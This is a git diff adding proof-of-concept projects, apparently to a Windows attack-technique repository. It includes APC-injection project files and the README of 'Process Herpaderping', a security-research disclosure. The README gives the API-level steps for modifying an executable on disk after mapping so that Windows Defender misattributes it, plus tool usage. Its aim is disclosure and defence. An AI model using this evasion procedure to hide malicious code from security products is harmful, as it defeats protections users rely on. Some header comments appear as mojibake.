UserAPC + + + + Application + true + Unicode + Dynamic + + + Application + true + Unicode + Dynamic + + + Application + false + true + Unicode + Dynamic + + + Application + false + true + Unicode + Dynamic + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.vcxproj.filters b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.vcxproj.filters new file mode 100644 index 00000000..1d8b1491 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.vcxproj.filters @@ -0,0 +1,47 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + + + ćşć–‡ä»¶ + + + ćşć–‡ä»¶ + + + + + 资ćşć–‡ä»¶ + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/stdafx.cpp b/Win32/Proof of Concepts/UserApcInject/UserAPC/stdafx.cpp new file mode 100644 index 00000000..46cd1889 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC/stdafx.cpp @@ -0,0 +1,2 @@ + +#include "stdafx.h" diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/stdafx.h b/Win32/Proof of Concepts/UserApcInject/UserAPC/stdafx.h new file mode 100644 index 00000000..4721a605 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC/stdafx.h @@ -0,0 +1,32 @@ +// stdafx.h : ±ę׼ϵͳ°üş¬ÎÄĽţµÄ°üş¬ÎÄĽţŁ¬ +// »ňĘÇľ­łŁĘąÓõ«˛»łŁ¸ü¸ÄµÄ +// Ěض¨ÓÚĎîÄżµÄ°üş¬ÎÄĽţ +// + +#pragma once + +#include "targetver.h" + +#include +#include +#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString ąąÔ캯Ęý˝«ĘÇĎÔĘ˝µÄ + +#ifndef VC_EXTRALEAN +#define VC_EXTRALEAN // ´Ó Windows Í·ÎÄĽţÖĐĹĹłýĽ«ÉŮĘąÓõÄĐĹϢ +#endif + +#include +#include // MFC şËĐÄ×éĽţşÍ±ę׼×éĽţ +#include // MFC Ŕ©Őą +#ifndef _AFX_NO_OLE_SUPPORT +#include // MFC ¶Ô Internet Explorer 4 ą«ą˛żŘĽţµÄÖ§łÖ +#endif +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC ¶Ô Windows ą«ą˛żŘĽţµÄÖ§łÖ +#endif // _AFX_NO_AFXCMN_SUPPORT + +#include + + + +// TODO: ÔÚ´Ë´¦ŇýÓĂłĚĐňĐčŇŞµÄĆäËűÍ·ÎÄĽţ diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/targetver.h b/Win32/Proof of Concepts/UserApcInject/UserAPC/targetver.h new file mode 100644 index 00000000..7a7d2c83 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// °üŔ¨ SDKDDKVer.h ˝«¶¨ŇĺżÉÓõÄ×î¸ß°ć±ľµÄ Windows ƽ̨ˇŁ + +// ČçąűŇŞÎŞŇÔÇ°µÄ Windows ƽ̨ÉúłÉÓ¦ÓĂłĚĐňŁ¬Çë°üŔ¨ WinSDKVer.hŁ¬˛˘˝« +// WIN32_WINNT şęÉčÖĂÎŞŇŞÖ§łÖµÄƽ̨Ł¬Č»şóÔŮ°üŔ¨ SDKDDKVer.hˇŁ + +#include diff --git a/Win32/Proof of Concepts/herpaderping/.gitignore b/Win32/Proof of Concepts/herpaderping/.gitignore new file mode 100644 index 00000000..0043e797 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/.gitignore @@ -0,0 +1,356 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Build output directory +build/ + +# vscode +.vscode/ diff --git a/Win32/Proof of Concepts/herpaderping/.gitmodules b/Win32/Proof of Concepts/herpaderping/.gitmodules new file mode 100644 index 00000000..4349e3cc --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/.gitmodules @@ -0,0 +1,8 @@ +[submodule "ext/submodules/wil"] + path = ext/submodules/wil + url = https://github.com/microsoft/wil + ignore = dirty +[submodule "ext/submodules/phnt"] + path = ext/submodules/phnt + url = https://github.com/processhacker/phnt + ignore = dirty diff --git a/Win32/Proof of Concepts/herpaderping/LICENSE b/Win32/Proof of Concepts/herpaderping/LICENSE new file mode 100644 index 00000000..13cbc711 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 Johnny Shaw + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Win32/Proof of Concepts/herpaderping/README.md b/Win32/Proof of Concepts/herpaderping/README.md new file mode 100644 index 00000000..7f974320 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/README.md @@ -0,0 +1,332 @@ +# Process Herpaderping +[][png.HerpaderpIcon] +Process Herpaderping is a method of obscuring the intentions of a process by +modifying the content on disk after the image has been mapped. This results +in curious behavior by security products and the OS itself. + +![][png.mimioogle] + +![][gif.SurivDemo] + +## Summary +Generally, a security product takes action on process creation by registering a +callback in the Windows Kernel +([PsSetCreateProcessNotifyRoutineEx][msdn.PsSetCreateProcessNotifyRoutineEx]). +At this point, a security product may inspect the file that was used to map +the executable and determine if this process should be allowed to execute. This +kernel callback is invoked when the initial thread is inserted, not when the +process object is created. + +Because of this, an actor can create and map a process, modify the content of +the file, then create the initial thread. A product that does inspection at the +creation callback would see the modified content. Additionally, some products +use an on-write scanning approach which consists of monitoring for file writes. +A familiar optimization here is recording the file has been written to and +defer the actual inspection until [IRP_MJ_CLEANUP][msdn.IRP_MJ_CLEANUP] +occurs (e.g. the file handle is closed). Thus, an actor using a +`write -> map -> modify -> execute -> close` workflow will subvert on-write scanning +that solely relies on inspection at [IRP_MJ_CLEANUP][msdn.IRP_MJ_CLEANUP]. + +To abuse this convention, we first write a binary to a target file on disk. +Then, we map an image of the target file and provide it to the OS to use for +process creation. The OS kindly maps the original binary for us. Using +the existing file handle, and before creating the initial thread, we modify the +target file content to obscure or fake the file backing the image. Some time later, +we create the initial thread to begin execution of the original binary. Finally, we + will close the target file handle. Let's walk through this step-by-step: +1. Write target binary to disk, keeping the handle open. This is what will + execute in memory. +2. Map the file as an image section ([NtCreateSection][msdn.NtCreateSection], + [SEC_IMAGE][msdn.SEC_IMAGE]). +3. Create the process object using the section handle (`NtCreateProcessEx`). +4. Using the same target file handle, obscure the file on disk. +5. Create the initial thread in the process (`NtCreateThreadEx`). + - At this point the process creation callback in the kernel will fire. The + contents on disk do not match what was mapped. Inspection of the file at + this point will result in incorrect attribution. +6. Close the handle. [IRP_MJ_CLEANUP][msdn.IRP_MJ_CLEANUP] will occur here. + - Since we've hidden the contents of what is executing, inspection at this + point will result in incorrect attribution. + +![][svg.StateDiagram] +
+ plantuml +

+ +```plantuml +@startuml +hide empty description + +[*] --> CreateFile +CreateFile --> FileHandle +FileHandle --> Write +FileHandle --> NtCreateSection +Write -[hidden]-> NtCreateSection +NtCreateSection --> SectionHandle +SectionHandle --> NtCreateProcessEx +FileHandle --> Modify +NtCreateProcessEx -[hidden]-> Modify +NtCreateProcessEx --> NtCreateThreadEx +Modify -[hidden]-> NtCreateThreadEx +NtCreateThreadEx --> [*] +FileHandle --> CloseFile +NtCreateThreadEx -[hidden]-> CloseFile +NtCreateThreadEx --> PspCallProcessNotifyRoutines +PspCallProcessNotifyRoutines -[hidden]-> [*] +CloseFile --> IRP_MJ_CLEANUP +IRP_MJ_CLEANUP -[hidden]-> [*] +PspCallProcessNotifyRoutines --> Inspect +PspCallProcessNotifyRoutines -[hidden]-> CloseFile +IRP_MJ_CLEANUP --> Inspect +Inspect -[hidden]-> [*] + +CreateFile : Create target file, keep handle open. +Write : Write source payload into target file. +Modify : Obscure the file on disk. +NtCreateSection : Create section using file handle. +NtCreateProcessEx : Image section for process is mapped and cached in file object. +NtCreateThreadEx : The cached section is used. +NtCreateThreadEx : Process notify routines fire in kernel. +Inspect : The contents on disk do not match what was executed. +Inspect : Inspection of the file at this point will result in incorrect attribution. +@enduml +``` + +

+
+ +## Behavior +You'll see in the demo below, `CMD.exe` is used as the execution target. The +first run overwrites the bytes on disk with a pattern. The second run overwrites +`CMD.exe` with `ProcessHacker.exe`. The Herpaderping tool fixes up the binary to +look as close to `ProcessHacker.exe` as possible, even retaining the original +signature. Note the multiple executions of the same binary and how the process +looks to the user compared to what is in the file on disk. + +![][gif.ProcessHerpaderp] + +![][png.procmon] + +### Diving Deeper +We've observed the behavior and some of this may be surprising. Let's try to +explain this behavior. + +[Technical Deep Dive][md.DivingDeeper] + +## Background and Motivation +When designing products for securing Windows platforms, many engineers in +this field (myself included) have fallen on preconceived notions with respect +to how the OS will handle data. In this scenario, some might expect the file on +disk to remain "locked" when the process is created. You can't delete the file. +You can't write to it. But you can rename it. Seen here, under the right +conditions, you can in fact write to it. Remain vigilant on your assumptions, +always question them, and do your research. + +The motivation for this research came about when discovering how to do analysis +when a file is written. With prior background researching process Hollowing and +Doppelganging, I had theorized this might be possible. The goal is to provide +better security. You cannot create a better lock without first understanding +how to break the old one. + +### Similar Techniques +Herpaderping is similar to Hollowing and Doppelganging however there are some +key differences: + +#### Process Hollowing +Process Hollowing involves modifying the mapped section before execution +begins, which abstractly this looks like: `map -> modify section -> execute`. This workflow +results in the intended execution flow of the Hollowed process diverging into +unintended code. Doppelganging might be considered a form of Hollowing. +However, Hollowing, in my opinion, is closer to injection in that Hollowing +usually involves an explicit write to the already mapped code. This differs +from Herpaderping where there are no modified sections. + +#### Process Doppelganging +Process Doppelganging is closer to Herpaderping. Doppelganging abuses +transacted file operations and generally involves these steps: +`transact -> write -> map -> rollback -> execute`. +In this workflow, the OS will create the image section and account for +transactions, so the cached image section ends up being what you wrote to the +transaction. The OS has patched this technique. Well, they patched the crash it caused. +Maybe they consider this a "legal" use of a transaction. Thankfully, Windows +Defender does catch the Doppelganging technique. Doppelganging differs from +Herpaderping in that Herpaderping does not rely on transacted file operations. +And Defender doesn't catch Herpaderping. + +#### Comparison +For reference, the generalized techniques: + +| Type | Technique | +| :------------ | :------------------------------------------------ | +| Hollowing | `map -> modify section -> execute` | +| Doppelganging | `transact -> write -> map -> rollback -> execute` | +| Herpaderping | `write -> map -> modify -> execute -> close` | + +We can see the differences laid out here. While Herpaderping is arguably +noisier than Doppelganging, in that the malicious bits do hit the disk, we've +seen that security products are still incapable of detecting Herpaderping. + +## Possible Solution +There is not a clear fix here. It seems reasonable that preventing an image +section from being mapped/cached when there is write access to the file +should close the hole. However, that may or may not be a practical solution. + +Another option might be to flush the changes to the file through to the cached +image section if it hasn't yet been mapped into a process. However, since the +map into the new process occurs at `NtCreateProcess` that is probably not a +viable solution. + +From a detection standpoint, there is not a great way to identify the actual +bits that got mapped, inspection at [IRP_MJ_CLEANUP][msdn.IRP_MJ_CLEANUP] or +a callback registered at +[PsSetCreateProcessNotifyRoutineEx][msdn.PsSetCreateProcessNotifyRoutineEx] +results in incorrect attribution since the bits on disk have been changed, you +would have to rebuild the file from the section that got created. It's worth +pointing out here there is a new callback in Windows 10 you may register for +[PsSetCreateProcessNotifyRoutineEx2][msdn.PsSetCreateProcessNotifyRoutineEx2] +however this suffers from the same problem as the previous callback, it's +called out when the initial thread is executed, not when the process object is +created. Microsoft did add +[PsSetCreateThreadNotifyRoutineEx][msdn.PsSetCreateThreadNotifyRoutineEx] which +is called out when the initial thread is inserted if registered with +[PsCreateThreadNotifyNonSystem][msdn.PSCREATETHREADNOTIFYTYPE], opposed to when +it is about to begin execution (as the old callback did). Extending +[PSCREATEPROCESSNOTIFYTYPE][msdn.PSCREATEPROCESSNOTIFYTYPE] to be called out +when the process object is created won't help either, we've seen in the +[Diving Deeper](#tag-diving-deeper) section that the image section object is +cached on the [NtCreateSection][msdn.NtCreateSection] call not +`NtCreateProcess`. + +We can't easily identify what got executed. We're left with trying to detect +the exploitive behavior by the actor, I'll leave discovery of the behavior +indicators as an exercise for the reader. + +## Known Affected Platforms +Below is a list of products and Windows OSes that have been tested as of +(8/31/2020). Tests were carried out with a known malicious binary. + +| Operating System | Version | Vulnerable | +| :---------------------------------- | :-------------- | :--------: | +| Windows 7 Enterprise x86 | 6.1.7601 | Yes | +| Windows 10 Pro x64 | 10.0.18363.900 | Yes | +| Windows 10 Pro Insider Preview x64 | 10.0.20170.1000 | Yes | +| Windows 10 Pro Insider Preview x64 | 10.0.20201.1000 | Yes | + +| Security Product | Version | Vulnerable | +| :---------------------------------- | :------------ | :--------: | +| Windows Defender AntiMalware Client | 4.18.2006.10 | Yes | +| Windows Defender Engine | 1.1.17200.2 | Yes | +| Windows Defender Antivirus | 1.319.1127.0 | Yes | +| Windows Defender Antispyware | 1.319.1127.0 | Yes | +| Windows Defender AntiMalware Client | 4.18.2007.6 | Yes | +| Windows Defender Engine | 1.1.17300.2 | Yes | +| Windows Defender Antivirus | 1.319.1676.0 | Yes | +| Windows Defender Antispyware | 1.319.1676.0 | Yes | +| Windows Defender AntiMalware Client | 4.18.2007.8 | Yes | +| Windows Defender Engine | 1.1.17400.5 | Yes | +| Windows Defender Antivirus | 1.323.267.0 | Yes | +| Windows Defender Antispyware | 1.323.267.0 | Yes | + +## Responsible Disclosure +This vulnerability was disclosed to the Microsoft Security Response Center +(MSRC) on 7/17/2020 and a case was opened by MSRC on 7/22/2020. MSRC concluded +their investigation on 8/25/2020 and determined the findings are valid but do +not meet their bar for immediate servicing. At this time their case is closed, +without resolution, and is marked for future review, with no timeline. + +We disagree on the severity of this bug; this was communicated to MSRC on +8/27/2020. +1. There are similar vulnerabilities in this class (Hollowing and +Doppelganging). +1. The vulnerability is shown to defeat security features inherent to the +OS (Windows Defender). +1. The vulnerability allows an actor to gain execution of arbitrary code. +1. The user is not notified of the execution of unintended code. +1. The process information presented to the user does not accurately reflect +what is executing. +1. Facilities to accurately identify the process are not intuitive or +incorrect, even from the kernel. + + +# Source +This repo contains a tool for exercising the Herpaderping method of process +obfuscation. Usage is as follows: +``` +Process Herpaderping Tool - Copyright (c) Johnny Shaw +ProcessHerpaderping.exe SourceFile TargetFile [ReplacedWith] [Options...] +Usage: + SourceFile Source file to execute. + TargetFile Target file to execute the source from. + ReplacedWith File to replace the target with. Optional, + default overwrites the binary with a pattern. + -h,--help Prints tool usage. + -d,--do-not-wait Does not wait for spawned process to exit, + default waits. + -l,--logging-mask number Specifies the logging mask, defaults to full + logging. + 0x1 Successes + 0x2 Informational + 0x4 Warnings + 0x8 Errors + 0x10 Contextual + -q,--quiet Runs quietly, overrides logging mask, no title. + -r,--random-obfuscation Uses random bytes rather than a pattern for + file obfuscation. + -e,--exclusive Target file is created with exclusive access and + the handle is held open as long as possible. + Without this option the handle has full share + access and is closed as soon as possible. + -u,--do-not-flush-file Does not flush file after overwrite. + -c,--close-file-early Closes file before thread creation (before the + process notify callback fires in the kernel). + Not valid with "--exclusive" option. + -k,--kill Terminates the spawned process regardless of + success or failure, this is useful in some + automation environments. Forces "--do-not-wait + option. +``` + +## Cloning and Building +The repo uses submodules, after cloning be sure to init and update the +submodules. Projects files are targeted to Visual Studio 2019. +``` +git clone https://github.com/jxy-s/herpaderping.git +cd .\herpaderping\ +git submodule update --init --recursive +MSBuild .\herpaderping.sln +``` + +## Credits +The following are used without modification. Credits to their authors. +- [Windows Implementation Libraries (WIL)][github.wil] +A header-only C++ library created to make life easier for developers on Windows +through readable type-safe C++ interfaces for common Windows coding patterns. +- [Process Hacker Native API Headers][github.phnt] +Collection of Native API header files. Gathered from Microsoft header files and +symbol files, as well as a lot of reverse engineering and guessing. + +[//]: # (Hyperlink IDs) +[github.wil]: https://github.com/microsoft/wil +[github.phnt]: https://github.com/processhacker/phnt +[msdn.PsSetCreateProcessNotifyRoutineEx]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex +[msdn.PsSetCreateProcessNotifyRoutineEx2]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex2 +[msdn.PsSetCreateThreadNotifyRoutineEx]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutineex +[msdn.PSCREATETHREADNOTIFYTYPE]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ne-ntddk-_pscreatethreadnotifytype +[msdn.PSCREATEPROCESSNOTIFYTYPE]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ne-ntddk-_pscreateprocessnotifytype +[msdn.IRP_MJ_CLEANUP]: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-cleanup +[msdn.NtCreateSection]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwcreatesection +[msdn.SEC_IMAGE]: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga +[msdn.IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/flt-parameters-for-irp-mj-acquire-for-section-synchronization +[msdn.IRP_MJ_WRITE]: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-write +[msdn.FILE_OBJECT]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_object +[msdn.SECTION_OBJECT_POINTERS]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_section_object_pointers +[msdn.PS_CREATE_NOTIFY_INFO]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_ps_create_notify_info + +[//]: # (Relative Path IDs) +[gif.ProcessHerpaderp]: res/ProcessHerpaderp.gif +[gif.SurivDemo]: res/SurivDemo.gif +[png.procmon]: res/procmon.png +[png.mimioogle]: res/mimioogle.png +[svg.StateDiagram]: res/StateDiagram.svg +[png.HerpaderpIcon]: res/HerpaderpIcon.png +[md.DivingDeeper]: res/DivingDeeper.md \ No newline at end of file diff --git a/Win32/Proof of Concepts/herpaderping/_config.yml b/Win32/Proof of Concepts/herpaderping/_config.yml new file mode 100644 index 00000000..7a8c6095 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/_config.yml @@ -0,0 +1,6 @@ +title: herpaderping +logo: res/HerpaderpIcon.png +description: Detection Evasion Exploit +show_downloads: true +google_analytics: +theme: jekyll-theme-minimal diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/LICENSE b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/LICENSE new file mode 100644 index 00000000..0fb847eb --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/LICENSE @@ -0,0 +1,395 @@ +Attribution 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution 4.0 International Public License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution 4.0 International Public License ("Public License"). To the +extent this Public License may be interpreted as a contract, You are +granted the Licensed Rights in consideration of Your acceptance of +these terms and conditions, and the Licensor grants You such rights in +consideration of benefits the Licensor receives from making the +Licensed Material available under these terms and conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Adapter's License means the license You apply to Your Copyright + and Similar Rights in Your contributions to Adapted Material in + accordance with the terms and conditions of this Public License. + + c. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public 